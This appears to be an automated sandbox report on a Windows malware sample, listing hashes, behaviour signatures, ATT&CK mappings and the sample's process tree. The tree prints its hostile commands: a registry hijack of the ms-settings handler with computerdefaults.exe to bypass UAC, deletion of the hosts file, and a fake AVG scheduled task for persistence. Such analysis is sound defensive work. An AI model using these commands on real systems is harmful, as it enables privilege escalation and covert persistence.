Analysis

  • max time kernel
    148s
  • max time network
    162s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-05-2024 21:50

General

  • Target

    easfawefawfas.exe

  • Size

    12KB

  • MD5

    2813b6e3ed4bd6b14c53e3dffcdff21d

  • SHA1

    5ac7c7a3dadde70f94810c608a2eb275f14b7bde

  • SHA256

    866c0294731f195b0b9efa4f9b7cac352e8de5121f63a458a75efed3a625d24a

  • SHA512

    ff2454992a5fbe5c8cfab149ebd5edaa089ab4f25b88a47c5da0348575a72f1de372c8e762f74f284070a7a2e1209202ca755b4c08dd99799ac5bb9a598e0a24

  • SSDEEP

    192:LsNqFnJvOXdub8t6QP+TXVKTl1hAKje2Ecp0Gun8JZcxZQF:LsNvuI6QIKTHhA8rt0nnicxo

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\easfawefawfas.exe
    "C:\Users\Admin\AppData\Local\Temp\easfawefawfas.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2164
    • C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\consoleitaly1826.vbs" /f
      2⤵
      • Modifies registry class
      PID:4012
    • C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /d "0" /f
      2⤵
      • Modifies registry class
      PID:1384
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C computerdefaults.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3564
      • C:\Windows\SysWOW64\ComputerDefaults.exe
        computerdefaults.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1360
        • C:\Windows\SysWOW64\wscript.exe
          "wscript.exe" C:\Users\Admin\AppData\Local\Temp\consoleitaly1826.vbs
          4⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:2076
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C del C:\Windows\System32\drivers\etc\hosts
            5⤵
              PID:4788
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C schtasks /Create /SC ONLOGON /TN AVGUpdateService_gKwwuP9Gdga87vtVr050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Ringtones\gKwwuP9Gdga87vtVr050MX.exe" /RL HIGHEST /IT
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4368
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /Create /SC ONLOGON /TN AVGUpdateService_gKwwuP9Gdga87vtVr050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Ringtones\gKwwuP9Gdga87vtVr050MX.exe" /RL HIGHEST /IT
          3⤵
          • Creates scheduled task(s)
          PID:3252
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2164 -s 1384
        2⤵
        • Program crash
        PID:4016
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2164 -ip 2164
      1⤵
        PID:4056

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Execution

      Scheduled Task/Job

      1
      T1053

      Persistence

      Scheduled Task/Job

      1
      T1053

      Privilege Escalation

      Scheduled Task/Job

      1
      T1053

      Discovery

      Query Registry

      1
      T1012

      System Information Discovery

      2
      T1082

      Command and Control

      Web Service

      1
      T1102

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\consoleitaly1826.vbs
        Filesize

        171B

        MD5

        a34267102c21aff46aecc85598924544

        SHA1

        77268af47c6a4b9c6be7f7487b2c9b233d49d435

        SHA256

        eba7ab5c248e46dbe70470b41ebf25a378b4eff9ce632adff927ac1f95583d44

        SHA512

        5d320312b93b46c9051a20c82d6405a3f2c78b23adb3ab3e71aad854b65b500937de7ca2986cf79967386d689beecccf676d89afde8ecc5d5ad0cb4ae2bf38a3

      • memory/2164-0-0x0000000074D2E000-0x0000000074D2F000-memory.dmp
        Filesize

        4KB

      • memory/2164-1-0x0000000000530000-0x000000000053C000-memory.dmp
        Filesize

        48KB

      • memory/2164-2-0x0000000004DF0000-0x0000000004E0A000-memory.dmp
        Filesize

        104KB

      • memory/2164-3-0x00000000028D0000-0x00000000028DA000-memory.dmp
        Filesize

        40KB

      • memory/2164-4-0x0000000004EB0000-0x0000000004F42000-memory.dmp
        Filesize

        584KB

      • memory/2164-5-0x0000000074D20000-0x00000000754D0000-memory.dmp
        Filesize

        7.7MB

      • memory/2164-6-0x0000000005550000-0x0000000005AF4000-memory.dmp
        Filesize

        5.6MB

      • memory/2164-10-0x000000000AB90000-0x000000000B790000-memory.dmp
        Filesize

        12.0MB

      • memory/2164-11-0x0000000074D2E000-0x0000000074D2F000-memory.dmp
        Filesize

        4KB

      • memory/2164-12-0x0000000074D20000-0x00000000754D0000-memory.dmp
        Filesize

        7.7MB

      • memory/2164-13-0x0000000074D20000-0x00000000754D0000-memory.dmp
        Filesize

        7.7MB